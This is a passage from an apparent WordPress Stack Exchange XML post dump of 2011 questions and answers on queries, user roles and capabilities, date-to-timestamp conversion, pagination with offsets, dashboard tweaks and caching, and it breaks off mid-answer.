&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3499" LastActivityDate="2011-04-12T09:09:57.117" />
  <row Id="14552" PostTypeId="1" CreationDate="2011-04-12T09:59:38.060" Score="0" ViewCount="41" Body="&lt;p&gt;I am struggling to understand how queries work with get_posts(), query_posts() and WP_Query().&#xA;In particular I do not understand what pre-existing selection may exist when using these on a given page template.&#xA;From various blogs it seems that the default situation is that query_posts() and WP_Query() apply any pre-existing filters whilst get_posts supresses them.&#xA;However the codex says query_posts() ignores other parameters it receives via the URL (such as page number or category.)&#xA;Are these filters / parameters the same or something different?&#xA;How can I definitively tell what pre-existing selection will exist when I create a query?&lt;/p&gt;&#xA;" OwnerUserId="4611" LastActivityDate="2011-05-12T12:50:21.993" Title="Pre-existing arguments when using queries" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;filters&gt;&lt;parameter&gt;" AnswerCount="1" />
  <row Id="14553" PostTypeId="1" AcceptedAnswerId="14579" CreationDate="2011-04-12T10:08:21.753" Score="1" ViewCount="441" Body="&lt;p&gt;OK I'm looking for the best way to attack this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very comfortable with PHP and making custom post types with custom meta fields in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'm looking at doing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User registers and is set at&#xA;    subscriber by default.&lt;/li&gt;&#xA;&lt;li&gt;User requests from admin to have&#xA;    permission to custom post type.&lt;/li&gt;&#xA;&lt;li&gt;Admin assigns user to another&#xA;    permission name like &quot;Shop Owner&quot;.&lt;/li&gt;&#xA;&lt;li&gt;User can now see custom post type&#xA;and can make an entry to this post&#xA;type.&lt;/li&gt;&#xA;&lt;li&gt;User can only see and edit their own&#xA;post.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I need help on the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to create a new &quot;Role&quot; called&#xA;&quot;Shop Owner&quot;,&lt;/li&gt;&#xA;&lt;li&gt;How to give the correct permission&#xA;to said role to only see and have&#xA;access to custom post type.&lt;/li&gt;&#xA;&lt;li&gt;Only allow user to see and edit&#xA;their own posts to this custom post&#xA;type.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideally I would prefer this was all done from the wp-admin but I'm guessing that I might need to build a front end for this to get the finite control I'm after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-12T12:38:57.917" LastActivityDate="2011-04-12T15:06:32.600" Title="Allow member to have access to custom post type only. Permission to only edit their own posts" Tags="&lt;custom-post-types&gt;&lt;permissions&gt;&lt;user-roles&gt;&lt;user-access&gt;" AnswerCount="3" FavoriteCount="5" />
  <row Id="14554" PostTypeId="1" AcceptedAnswerId="14574" CreationDate="2011-04-12T10:11:35.263" Score="0" ViewCount="181" Body="&lt;p&gt;I am looking for a way to remove theme, change theme button and WP version from the &quot;right now&quot; admin dashboard, but using only functions. Any help?&lt;/p&gt;&#xA;" OwnerUserId="4612" LastActivityDate="2011-04-12T13:40:52.200" Title="Remove theme, change theme button and WP version on &quot;Right Now&quot; admin dashboard?" Tags="&lt;functions&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="14555" PostTypeId="1" AcceptedAnswerId="14557" CreationDate="2011-04-12T10:12:28.333" Score="1" ViewCount="303" Body="&lt;p&gt;For some reason, I'm having difficulty converting a date value stored in a meta field to a unix timestamp (and back again). If I save the date as a string it all works fine, but if I convert it to a timestamp using &lt;code&gt;strtotime&lt;/code&gt; it won't save the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My working code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;add_action( 'add_meta_boxes', 'rs_add_date' );&#xA;function rs_add_date() {&#xA;    add_meta_box( 'rs_add_date', 'Date', 'rs_add_date_create_meta_box', 'concerts', 'normal', 'high' );&#xA;}&#xA;function rs_add_date_create_meta_box( $post ) {&#xA;    $date = get_post_meta($post-&amp;gt;ID, 'rs_date', true);&#xA;    echo 'Choose a date for the event';&#xA;    wp_nonce_field( plugin_basename(__FILE__), 'rs_date_nonce');&#xA;?&amp;gt;&#xA;    &amp;lt;p&amp;gt;Date (dd/mm/yyyy) &amp;lt;input type=&quot;text&quot; name=&quot;rs-date&quot; id=&quot;rs-date&quot; value=&quot;&amp;lt;?php echo $date; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;&#xA;// Save the new meta&#xA;&#xA;add_action('save_post', 'rs_date_save_meta');&#xA;function rs_date_save_meta( $post_id ) {&#xA;&#xA;    if(!wp_verify_nonce( $_POST['rs_date_nonce'], plugin_basename(__FILE__) ) )&#xA;        return;&#xA;    if(!current_user_can('edit_posts') )&#xA;        return;&#xA;    $date = $_POST['rs-date'];&#xA;    update_post_meta($post_id, 'rs_date', $date);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I change it to the following it won't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'add_meta_boxes', 'rs_add_date' );&#xA;function rs_add_date() {&#xA;    add_meta_box( 'rs_add_date', 'Date', 'rs_add_date_create_meta_box', 'concerts', 'normal', 'high' );&#xA;}&#xA;function rs_add_date_create_meta_box( $post ) {&#xA;    $date = get_post_meta($post-&amp;gt;ID, 'rs_date', true);&#xA;    $date = time(&quot;d/m/Y&quot;, $date);&#xA;    echo 'Choose a date for the event';&#xA;    wp_nonce_field( plugin_basename(__FILE__), 'rs_date_nonce');&#xA;?&amp;gt;&#xA;    &amp;lt;p&amp;gt;Date (dd/mm/yyyy) &amp;lt;input type=&quot;text&quot; name=&quot;rs-date&quot; id=&quot;rs-date&quot; value=&quot;&amp;lt;?php echo $date; ?&amp;gt;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;&#xA;// Save the new meta&#xA;&#xA;add_action('save_post', 'rs_date_save_meta');&#xA;function rs_date_save_meta( $post_id ) {&#xA;&#xA;    if(!wp_verify_nonce( $_POST['rs_date_nonce'], plugin_basename(__FILE__) ) )&#xA;        return;&#xA;    if(!current_user_can('edit_posts') )&#xA;        return;&#xA;    $date = $_POST['rs-date'];&#xA;    $date = strtotime($date);&#xA;    update_post_meta($post_id, 'rs_date', $date);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Scratching my head here! Cheers&lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-04-12T10:21:18.613" Title="custom field value date convert to unix timestamp problems" Tags="&lt;custom-field&gt;&lt;date-time&gt;&lt;timestamp&gt;" AnswerCount="1" />
  <row Id="14556" PostTypeId="1" CreationDate="2011-04-12T10:17:28.010" Score="1" ViewCount="159" Body="&lt;p&gt;I'm trying to implement pagination on a category page. The pagination is working, but now for some reason the pagination plugin I'm using is noting one extra page of results, when that page is actually empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it doesn't have anything to do with the pagination plugin because I've seen reports of people having the same problem with next_posts_link and previous_posts_link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have any idea how this could happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php       &#xA;global $myOffset;&#xA;$myOffset = 11;&#xA;$temp = $wp_query;&#xA;$wp_query= null;&#xA;$wp_query = new WP_Query();&#xA;$wp_query-&amp;gt;query('offset='.$myOffset.'&amp;amp;cat=6&amp;amp;posts_per_page=12'.'&amp;amp;paged='.$paged);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;STUFF&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(function_exists('wp_paginate')) {&#xA;   // get yo paginate on&#xA;   wp_paginate();&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I am also using this functions.php plugin to enable the offset parameter in a custom wp_query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_post_limit($limit) {&#xA;    global $paged, $myOffset;&#xA;    if (empty($paged)) {&#xA;            $paged = 1;&#xA;    }&#xA;    $postperpage = intval(get_option('posts_per_page'));&#xA;    $pgstrt = ((intval($paged) -1) * $postperpage) + $myOffset . ', ';&#xA;    $limit = 'LIMIT '.$pgstrt.$postperpage;&#xA;    return $limit;&#xA;} //end function my_post_limit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4567" LastEditorUserId="4567" LastEditorDisplayName="" LastEditDate="2011-04-12T14:30:31.180" LastActivityDate="2011-04-12T14:30:31.180" Title="Pagination gives extra page with no results" Tags="&lt;loop&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14557" PostTypeId="2" ParentId="14555" CreationDate="2011-04-12T10:21:18.613" Score="2" ViewCount="" Body="&lt;p&gt;Looking at &lt;a href=&quot;http://www.php.net/manual/en/datetime.formats.date.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/datetime.formats.date.php&lt;/a&gt; I dont think strtotime will convert a DD/MM/YYYY to time correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it can do MM/DD/YYYY or YYYY/MM/DD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using the date format of YYYY/MM/DD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if thats not to your liking then you can use the same date format but you will have to, on save, split up the date and convert it to unix datestamp a diff way. You could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = &quot;dd/mm/yyyy&quot;;&#xA;$date = explode(&quot;/&quot;, $date);&#xA;$date = mktime(0, 0, 0, (int)$date[1], (int)$date[0], (int)$date[2]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-12T10:21:18.613" CommentCount="3" />
  <row Id="14558" PostTypeId="1" CreationDate="2011-04-12T10:57:40.957" Score="1" ViewCount="287" Body="&lt;p&gt;I'm having a serious problem with the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt; in which applying a CFT based on the template name is not working (it's as if the Ajax used to load the template is breaking). I've tried getting help in the forums but no response - seems to be browser independent (tried it in FF4, Safari 5 and Chrome).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find out why this is happening and I'm running out of time as my client needs to go live with this site by the end of the week they say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=RIfDToXm5IU&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=RIfDToXm5IU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone take a look at the video above and let me know what I could do to try and solve the issue? It's a great plugin, but this kind of issue reaffirms why it's always best to not use plugins if possible :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help massively appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-04-13T19:39:33.827" Title="Custom Field Template seriously messed up in WP 3.1.1" Tags="&lt;plugins&gt;&lt;custom-field&gt;&lt;3.1&gt;" AnswerCount="2" />
  <row Id="14559" PostTypeId="1" AcceptedAnswerId="14560" CreationDate="2011-04-12T11:01:24.577" Score="0" ViewCount="40" Body="&lt;p&gt;When trying to update wordpress from 3.1 to 3.1.1 I am getting the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Incompatible Archive.: PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some searching shows a cause of this can be that the servers disk is full. My disk is not full but it was about a week ago. I believe Wordpress has the disk still flagged as full and not writeable. Does that sound plausible or does any one have any other suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three Wordpress blogs on the server and this is only affecting one of them.&lt;/p&gt;&#xA;" OwnerUserId="4613" LastActivityDate="2011-04-12T11:24:20.423" Title="disk was full but wordpress still having issues" Tags="&lt;update&gt;" AnswerCount="1" />
  <row Id="14560" PostTypeId="2" ParentId="14559" CreationDate="2011-04-12T11:24:20.423" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like the upgrade download corrupted (probably because of disk space) - just do the upgrade manually.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-12T11:24:20.423" CommentCount="2" />
  <row Id="14561" PostTypeId="2" ParentId="14552" CreationDate="2011-04-12T11:29:13.917" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;When should you use WP_Query vs query_posts() vs get_posts()?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-12T11:29:13.917" CommentCount="1" />
  <row Id="14563" PostTypeId="1" CreationDate="2011-04-12T11:56:29.797" Score="-1" ViewCount="87" Body="&lt;p&gt;i have a custom post type products.How can i add a collection of items to that custom post type like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Product A&lt;/strong&gt;&lt;br /&gt;&#xA;title&lt;br /&gt;&#xA;description&lt;br /&gt;&#xA;price&lt;br /&gt;&#xA;option1&lt;br /&gt;&#xA;option2&lt;br /&gt;&#xA;option3&lt;br /&gt;&#xA;option n&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option items can be 0-n&lt;br /&gt;&#xA;In a relational database it would be like this:&lt;br /&gt;&#xA;table_products (product_id, title,...)&lt;br /&gt;&#xA;table_options (&lt;strong&gt;product_id&lt;/strong&gt;, option_id,...)&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2011-04-12T12:33:55.320" Title="custom post types containing a collection of items" Tags="&lt;custom-post-types&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="14564" PostTypeId="1" CreationDate="2011-04-12T05:16:07.477" Score="-2" ViewCount="18" Body="&lt;p&gt;like this site&#xA;&lt;a href=&quot;http://www.sitesketch101.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.sitesketch101.com/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-04-12T12:18:55.000" Title="Does wordpress has this type of plugin or widget like this black sticky nav that contains menu?" Tags="&lt;plugins&gt;&lt;menus&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="14565" PostTypeId="2" ParentId="14564" CreationDate="2011-04-12T12:18:55.000" Score="0" ViewCount="" Body="&lt;p&gt;That menu is part of theme (&lt;a href=&quot;http://www.woothemes.com/2008/08/papercut/&quot; rel=&quot;nofollow&quot;&gt;Papercut&lt;/a&gt; from WooThemes) that seems to be additionally customized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such menus do commonly belong to theme, so I don't think it's likely to find plugin that does something like that (and looking exactly like that on top).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-12T12:18:55.000" />
  <row Id="14566" PostTypeId="2" ParentId="14556" CreationDate="2011-04-12T12:25:30.317" Score="1" ViewCount="" Body="&lt;p&gt;You could try to use the more native &lt;code&gt;get_adjacent_posts()&lt;/code&gt; function to see if the problem is the &lt;code&gt;next_posts_link()&lt;/code&gt; function. For additional information i wrote an &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;educational plugin&lt;/a&gt; that's well documented/commented to giude you through the process.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-12T12:25:30.317" CommentCount="2" />
  <row Id="14567" PostTypeId="2" ParentId="14563" CreationDate="2011-04-12T12:33:55.320" Score="1" ViewCount="" Body="&lt;p&gt;I think you've got the Custom Post Type a bit wrong, the products are not saved in products table but in the posts table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prefix_posts(post_id,title,content,...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to use the options in relation to post_id you can use the build-in &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;custom fields&lt;/strong&gt;&lt;/a&gt;&#xA;which are key/value pairs. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The key is the name of the meta-data&#xA;  element. The value is the information&#xA;  that will appear in the meta-data list&#xA;  on each individual post that the&#xA;  information is associated with.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;either by using the build-in UI or creating a custom metabox &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;by plugin&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;by code&lt;/strong&gt;&lt;/a&gt;&#xA;and they are saved in postmeta table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prefix_postmeta(meta_id,post_id,meta_key,meta_value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to access these option you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_values = get_post_meta($post_id, $key, $single);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example say you have a field named price so to get its value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$price = get_post_meta($post_id, 'price', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this will get the price of the product with the same post_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-12T12:33:55.320" CommentCount="2" />
  <row Id="14569" PostTypeId="2" ParentId="14556" CreationDate="2011-04-12T12:40:12.743" Score="3" ViewCount="" Body="&lt;p&gt;I am not sure, but I have a guess that it is because you are using pagination and &lt;code&gt;offset&lt;/code&gt; at the same time. Pagination might be calculated for whole set, but you are reducing set size with offset so number of pages becomes overestimated.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-12T12:40:12.743" CommentCount="6" />
  <row Id="14570" PostTypeId="1" AcceptedAnswerId="14571" CreationDate="2011-04-12T13:25:39.970" Score="1" ViewCount="111" Body="&lt;p&gt;So what i would like to do is order in some CSS depending on the value of a custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below just says that if there is ANY value, do X, else do nothing...    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $pageNumbered=get_post_meta($post-&amp;gt;ID, 'page-number', true); ?&amp;gt;&#xA;    &amp;lt;?php if ( $pageNumbered ) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;page-number left&quot;&amp;gt;&#xA;            &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;page-number&quot;, true); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;              &#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...what i want to do is say if the value is X do Y, if it is Z do XY etc etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="4181" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-12T13:57:51.597" LastActivityDate="2011-04-12T13:57:51.597" Title="How to make condition, based on custom fields value?" Tags="&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14571" PostTypeId="2" ParentId="14570" CreationDate="2011-04-12T13:32:23.577" Score="0" ViewCount="" Body="&lt;p&gt;Sorry but it's not clear what you want to do. From what I understand is you simply want to use an elseif statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $pageNumbered=get_post_meta($post-&amp;gt;ID, 'page-number', true); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( $pageNumbered ) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-number left&quot;&amp;gt;&#xA;        &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;page-number&quot;, true); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;              &#xA;&amp;lt;?php elseif($pageNumbered == &quot;Z&quot;) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-number left&quot;&amp;gt;&#xA;        &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;page-number&quot;, true); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you can edit you question to be clearer then I might be able to help more.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-12T13:32:23.577" CommentCount="3" />
  <row Id="14572" PostTypeId="2" ParentId="10309" CreationDate="2011-04-12T13:36:08.307" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.cozmoslabs.com/2011/04/12/wordpress-profile-builder-a-front-end-user-registration-login-and-edit-profile-plugin/&quot; rel=&quot;nofollow&quot;&gt;Profile Builder plugin&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lets you customize your website by adding front-end forms for login, register and edit-profile through the use of shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="2020" LastActivityDate="2011-04-12T13:36:08.307" />
  <row Id="14573" PostTypeId="2" ParentId="14553" CreationDate="2011-04-12T13:37:10.133" Score="1" ViewCount="" Body="&lt;p&gt;Have you considered looking at &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt; to handle the actual content submission? They each have functionality that would get you well down the road towards sanely handling user-submitted content.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-04-12T13:37:10.133" CommentCount="1" />
  <row Id="14574" PostTypeId="2" ParentId="14554" CreationDate="2011-04-12T13:40:52.200" Score="1" ViewCount="" Body="&lt;p&gt;Ah, one of those things that seem easy until admin dashboard internals throw you into depths of despair. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there is no easy and intended way to do this, so need to get creative. My idea would be to override temporarily couple of capabilities that control parts of output and kill the rest with filters in translation mechanisms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS ehm, while I was messing with this it slipped me that you want to change some part and not remove everything. Well you can just remove and produce your own output or build on top of translation filter. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-admin/includes/dashboard.php#L233&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_dashboard_right_now()&lt;/code&gt; source&lt;/a&gt; for what is inside that widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('right_now_discussion_table_end','turn_off_caps');&#xA;add_action('rightnow_end','turn_on_caps');&#xA;&#xA;function turn_off_caps() {&#xA;&#xA;    add_filter('ngettext','disable_theme');&#xA;    add_filter('map_meta_cap','disable_caps',10,2);&#xA;}&#xA;&#xA;function turn_on_caps() {&#xA;&#xA;    remove_filter('ngettext','disable_theme');&#xA;    remove_filter('map_meta_cap','disable_caps',10,2);&#xA;}&#xA;&#xA;function disable_caps($caps,$cap) {&#xA;&#xA;    if( 'update_core' == $cap )&#xA;            $caps[] = 'do_not_allow';&#xA;&#xA;    if( 'switch_themes' == $cap )&#xA;            $caps[] = 'do_not_allow';&#xA;&#xA;    return $caps;&#xA;}&#xA;&#xA;function disable_theme($text) {&#xA;&#xA;    if('Theme' == substr($text,0,5))&#xA;        return '';&#xA;&#xA;    return $text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-12T13:40:52.200" CommentCount="3" />
  <row Id="14575" PostTypeId="2" ParentId="12360" CreationDate="2011-04-12T13:42:02.563" Score="0" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.cozmoslabs.com/2011/04/12/wordpress-profile-builder-a-front-end-user-registration-login-and-edit-profile-plugin/&quot; rel=&quot;nofollow&quot;&gt;Profile Builder plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lets you customize your website by adding front-end forms for login, register and edit-profile through the use of shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="2020" LastActivityDate="2011-04-12T13:42:02.563" />
  <row Id="14576" PostTypeId="1" AcceptedAnswerId="14580" CreationDate="2011-04-12T14:14:08.470" Score="0" ViewCount="165" Body="&lt;p&gt;I have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I clear the cache when a post is submitted ? &#xA;Actually, I need to clear two speficied pages which display these articles ? &#xA;By default, I have noticed the &lt;code&gt;index.php&lt;/code&gt; is cleared automatically when a post is submitted.&#xA;But not &lt;code&gt;Archive page&lt;/code&gt; or &lt;code&gt;Category page&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : &#xA;By the way, how to clear only a specific page with W3 Total Cache ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example : Clear &lt;code&gt;/blog.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2000" LastActivityDate="2011-04-12T14:53:28.200" Title="Clear cache when a post is submitted" Tags="&lt;posts&gt;&lt;archive&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="14578" PostTypeId="2" ParentId="11871" CreationDate="2011-04-12T14:47:30.307" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function post_type_tags_fix($request) {&#xA;    if ( isset($request['tag']) &amp;amp;&amp;amp; !isset($request['post_type']) )&#xA;    $request['post_type'] = 'any';&#xA;    return $request;&#xA;} &#xA;add_filter('request', 'post_type_tags_fix');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can alter the post type to your liking.&#xA;From this post.&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13237/custom-post-type-tag-archives-dont-work-for-basic-loop&quot;&gt;Custom post type tag archives don&amp;#39;t work for basic loop?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-12T14:47:30.307" />
  <row Id="14579" PostTypeId="2" ParentId="14553" CreationDate="2011-04-12T14:49:40.517" Score="3" ViewCount="" Body="&lt;p&gt;Use Justin Tadlock's plugin &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt;&quot;. It gives you the ability to create new roles and edit existing roles, as well as add custom capabilities. All that work that you'd have to do can be taken down to a few clicks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you said in your comment on ZaMoose's answer that you are 'looking to write the functionality myself so I have full control over everything.' That's missing the whole point of open source software. Justin Tadlock released his plugin so you could use it precisely so you WOULD have complete control over everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really &lt;strong&gt;really&lt;/strong&gt; want to reinvent the wheel, potentially wasting hundreds of hours of your own time I can't stop you, but you could at least save yourself the trouble and use Tadlock's plugin to learn how to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a plugin that does what you want, you'll need to change the &lt;code&gt;'map_meta_cap'&lt;/code&gt; flag to &lt;code&gt;true&lt;/code&gt; and the &lt;code&gt;'capability_type'&lt;/code&gt; flag in your post type registration function so that it says something other than 'post', 'page', or any other 'reserved' type. Then, duplicate all the capabilities related to posts (e.g. &lt;code&gt;edit_posts&lt;/code&gt;, &lt;code&gt;edit_others_posts&lt;/code&gt;, &lt;code&gt;publish_posts&lt;/code&gt;, etc.), using your capability type instead of posts. Make sure to assign all these permissions to administrators (you won't be able to see the post type until you do this), then create your role, mimicking the 'contributor' role's abilities for your post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say your capability type was 